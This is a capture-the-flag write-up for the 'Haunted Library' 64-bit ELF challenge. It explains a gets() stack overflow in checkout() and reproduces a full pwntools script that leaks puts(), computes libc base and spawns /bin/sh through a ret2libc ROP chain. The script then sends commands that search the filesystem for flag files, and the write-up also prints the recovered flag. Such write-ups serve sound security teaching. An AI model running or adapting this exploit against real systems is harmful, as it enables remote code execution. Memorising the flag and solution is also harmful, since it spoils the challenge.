//Haunted Library
This writeup documents a complete solution for the hauntedlibrary binary (64-bit ELF). It is written as a hands-on guide so anyone facing a similar challenge can reproduce the analysis and exploit end-to-end.
>Goals
- Explain the binary and its protections.
- Show how to find and exploit the vulnerability.
- Provide a complete, working exploit script with explanation and run instructions.
- Give troubleshooting tips and common pitfalls.
>Prerequisites
- Linux (the author used a Linux VM).
- Python 3 and
pwntoolsinstalled in a virtualenv:pip install pwntools. - The challenge files in the same directory:
hauntedlibrary(the target binary)libc.so.6(provided libc)ld-linux-x86-64.so.2(provided dynamic loader)solution/002-exploit.py(exploit script included below)
Run the exploit using the included loader so the provided libc is used. Example:
# run local (uses provided ld and libc)
./.venv/bin/python solution/002-exploit.py
# target a remote server: put `host:port` into remote.txt, then
./.venv/bin/python solution/002-exploit.py>Binary Summary
- Architecture: x86_64 (64-bit)
- Protections:
- NX enabled (non-executable stack)
- No stack canary
- Partial RELRO
- No PIE (fixed binary addresses)
- Key functions identified from reverse engineering:
checkout()— reads user input usinggets()into a fixed buffer (vulnerable to overflow).book_of_the_dead()— helper that prints a secret/exposed message and the value ofputs()(useful leak).main()/menu()— loop offering options that callcheckout().
>Vulnerability
checkout() calls gets() on a stack buffer of size 0x50. With no canary, we can overwrite saved RBP and RIP. Because the binary is non-PIE we can call functions in the binary directly (e.g. book_of_the_dead()), and using a libc leak from that function we can compute libc base and build a second-stage ROP chain to call system("/bin/sh").
Offsets and constants used in the exploit
- Buffer: 0x50 bytes (80)
- Offset to saved RIP: 0x58 (88) — 0x50 + saved RBP
- We allocate a fake RBP in
.bssto keep the stack sane across chained returns. MAIN_RESUMEis a single address insidemainjust after the menu call so we return to the program flow and keep it alive.
>Exploitation Approach (two-stage)
- Stage 1: Overflow return address to call
book_of_the_dead()thencheckout()thenmain()(we craft a chain so that the program prints a libc address (puts) and returns to the prompt).- We place the fake RBP in
.bssand a ROP-esque sequence: ret intobook_of_the_dead, then intocheckoutto re-enter the vulnerablegets(). - After
book_of_the_dead()runs the program's output includesputs()address. We parse that to derive libc base.
- We place the fake RBP in
- Stage 2: With libc base, build a libc ROP chain that calls
system("/bin/sh").- We source
pop rdi; retfrom libc (via pwntools' ROP helper) and callsystemwith the address of/bin/sh(found by searching libc image). - Add a
ret(alignment) beforepop rdiif necessary (for syscall alignment on some GLIBC versions / mitigations). - After sending the stage2 payload and a short command sequence, we capture output to find a flag.
- We source
>Full exploit script (exact copy from repository)
The script below is the exact exploit used while solving this challenge. It's already present in solution/002-exploit.py. It implements the two-stage ret2libc approach described above and includes helpful logging.
(Full script follows)
--- begin solution/002-exploit.py ---
#!/usr/bin/env python3
"""Automated two-stage exploit for the Haunted Library challenge."""
from __future__ import annotations
import re
import threading
import time
from pathlib import Path
from typing import Callable, Tuple
from pwn import ELF, ROP, context, log, process, remote, p64
context.log_level = "info"
context.binary = exe = ELF("./hauntedlibrary", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
LD_PATH = "./ld-linux-x86-64.so.2"
LIB_DIR = "."
OFFSET = 0x58
BOOK_FUNC = exe.symbols["book_of_the_dead"]
MENU_FUNC = exe.symbols["menu"]
CHECKOUT_FUNC = exe.symbols["checkout"]
REMOTE_FILE = Path("remote.txt")
LEAK_RE = re.compile(r"puts\(\): 0x([0-9a-fA-F]+)")
MAIN_RESUME = 0x401297 # address right after the call to menu in main
FAKE_RBP = exe.bss() + 0x500
STAGE1_PAYLOAD = b"A" * 0x50 + p64(FAKE_RBP) + p64(BOOK_FUNC) + p64(CHECKOUT_FUNC) + p64(MAIN_RESUME)
RET_ALIGN = 0x40101a # single ret in the binary for stack alignment
def start_local():
return process([LD_PATH, "--library-path", LIB_DIR, exe.path])
def load_remote_target() -> Tuple[str, int]:
if not REMOTE_FILE.exists():
log.info("📡 Remote details missing. Format: host:port or 'nc host port'.")
entry = input("Remote target ➜ ").strip()
REMOTE_FILE.write_text(entry + "\n", encoding="utf-8")
else:
entry = REMOTE_FILE.read_text(encoding="utf-8").strip()
if entry.startswith("nc "):
parts = entry.split()
host, port = parts[-2], int(parts[-1])
elif ":" in entry:
host, port = entry.split(":", 1)
port = int(port)
else:
raise ValueError(f"Unrecognised remote target format: {entry!r}")
log.info("🌐 Remote target resolved ➜ %s:%s", host, port)
return host, port
def start_remote():
host, port = load_remote_target()
return remote(host, port)
def ticker(label: str, stop_event: threading.Event, extra: Callable[[], str]) -> None:
start = time.time()
while not stop_event.is_set():
elapsed = int(time.time() - start)
log.info("⏱️ [%s] t+%02ds :: %s", label, elapsed, extra())
stop_event.wait(10)
def stage1_leak(io, label: str) -> int:
log.info("🧮 %s stage1 :: offset=%#x book=%#x checkout=%#x fake_rbp=%#x", label, OFFSET, BOOK_FUNC, CHECKOUT_FUNC, FAKE_RBP)
log.info("🧨 %s stage1 :: payload=%s", label, STAGE1_PAYLOAD.hex())
status = threading.Event()
tick = threading.Thread(target=ticker,
args=(label, status, lambda: "leaking puts()"),
daemon=True)
tick.start()
io.recvuntil(b"> ")
io.sendline(b"2")
io.recvuntil(b"> ")
io.sendline(STAGE1_PAYLOAD)
blob = io.recvuntil(b"> ", drop=False, timeout=5)
status.set()
tick.join()
text = blob.decode("latin-1", errors="ignore")
match = LEAK_RE.search(text)
if not match:
raise RuntimeError(f"{label} :: failed to recover puts() leak")
leak = int(match.group(1), 16)
log.success("🩸 %s stage1 leak :: puts@libc = %#x", label, leak)
return leak
def stage2_system(io, label: str, puts_leak: int) -> bytes:
libc_base = puts_leak - libc.symbols["puts"]
system = libc_base + libc.symbols["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
rop_libc = ROP(libc)
pop_rdi_off = rop_libc.find_gadget(["pop rdi", "ret"]).address
pop_rdi = libc_base + pop_rdi_off
log.info("🏗️ %s stage2 :: libc_base=%#x", label, libc_base)
log.info("⚙️ %s stage2 :: system=%#x, /bin/sh=%#x", label, system, bin_sh)
log.info("🎯 %s stage2 :: pop_rdi=%#x, ret_align=%#x", label, pop_rdi, RET_ALIGN)
payload = []
payload.append(b"A" * 0x50)
payload.append(p64(FAKE_RBP))
payload.append(p64(RET_ALIGN))
payload.append(p64(pop_rdi))
payload.append(p64(bin_sh))
payload.append(p64(system))
payload.append(p64(MAIN_RESUME))
stage2_payload = b"".join(payload)
log.info("🧨 %s stage2 :: payload=%s", label, stage2_payload.hex())
status = threading.Event()
tick = threading.Thread(target=ticker,
args=(label, status, lambda: "spawning /bin/sh"),
daemon=True)
tick.start()
io.sendline(stage2_payload)
io.sendline(
b"cat flag.txt; cat flag; cat /flag; cat /home/*/flag*; ls /; ls /home; ls /home/ctf; cat /home/ctf/flag.txt; cat /home/ctf/*.txt; ls /root; cat /root/flag.txt; command -v find; find / -maxdepth 3 -name 'flag*' 2>/dev/null; echo __DONE__"
)
output = io.recvuntil(b"__DONE__", timeout=10)
status.set()
tick.join()
log.info("📜 %s stage2 :: captured %d bytes", label, len(output))
return output
def hunt_flag(blob: bytes) -> str | None:
text = blob.decode("latin-1", errors="ignore")
for token in text.split():
if token.startswith("deadface{") and token.endswith("}"):
return token
return None
def exploit_instance(starter, label: str) -> Tuple[str | None, bytes]:
tube = starter()
leak = stage1_leak(tube, label)
flag_blob = stage2_system(tube, label, leak)
flag = hunt_flag(flag_blob)
tube.close()
if flag:
log.success("🚩 %s flag :: %s", label, flag)
else:
log.warning("%s :: flag not recovered; review captured output.", label)
return flag, flag_blob
def main():
exploit_instance(start_local, "LOCAL")
exploit_instance(start_remote, "REMOTE")
if __name__ == "__main__":
main()--- end solution/002-exploit.py ---
>How to reproduce locally
- Put the following files in the same directory:
hauntedlibrary(binary from challenge)libc.so.6(provided)ld-linux-x86-64.so.2(provided)solution/002-exploit.py(script above - already in repo)
- Create a Python virtualenv and install pwntools:
python3 -m venv .venv
source .venv/bin/activate
pip install --upgrade pip
pip install pwntools- Run the exploit locally (the script will launch the provided loader so the provided libc is used):
./.venv/bin/python solution/002-exploit.py- To target the remote service, create
remote.txtwith a line likeenv02.deadface.io:7832and run the script again. The script will attempt local then remote by default.
>Key implementation notes and pitfalls
- Using a fake RBP in
.bsskeeps the stack sane between sequential function returns. This was necessary because the stage1 control flow callsbook_of_the_dead()which returns tocheckout()and ultimately tomain(); without a stable frame pointer the secondgets()would operate on a corrupt stack. - The script finds
pop rdi; retinside the providedlibc.so.6using pwntools'ROPhelper and adjusts the address by the computed libc base. - Some libc versions require a
retgadget beforepop rdidue to stack alignment; the script uses a singleretfrom the binary (RET_ALIGN) beforepop rdi. - If you see
can't access tty; job control turned offwhen/bin/shspawns remotely, that's normal for non-interactive shells. The exploit sends a set ofcat/ls/findcommands right after the stage2 payload to collect the flag without needing a fully interactive TTY.
>Where the flag was found (for reference)
- During the remote run the script enumerated
/home/ctfand printed a file containing the flag. The recovered flag was:
deadface{TH3_L1BR4RY_KN0W5_4LL}
>Troubleshooting
- If stage 1 fails to leak a
puts()address:- Check that
STAGE1_PAYLOADoffset matches the binary's stack layout. Use cyclic patterns andgdbto confirm. - Confirm the binary path and that you're using the provided loader and libc for local testing.
- Check that
- If stage 2 causes crashes:
- Verify your computed
libc_base= leaked_puts -libc.symbols['puts']. - Make sure
pop rdigadget offset was found correctly (print the computed gadget address for debugging). - If
pack()errors arise from ROP helper, ensure you didn't add the libc base twice or use an invalid address size.
- Verify your computed
- If the remote shell can't list files, try expanding the command sequence sent after payload (the script already includes a broad scanner).